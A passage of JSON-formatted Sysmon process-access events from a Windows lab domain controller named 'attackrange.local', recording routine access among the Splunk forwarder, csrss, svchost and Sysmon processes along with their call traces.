Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4086-5F2D-0000-001053910500}","TargetProcessId":"4328","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4086-5F2D-0000-001053910500}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4086-5F2D-0000-001053910500}","TargetProcessId":"4328","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.985","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a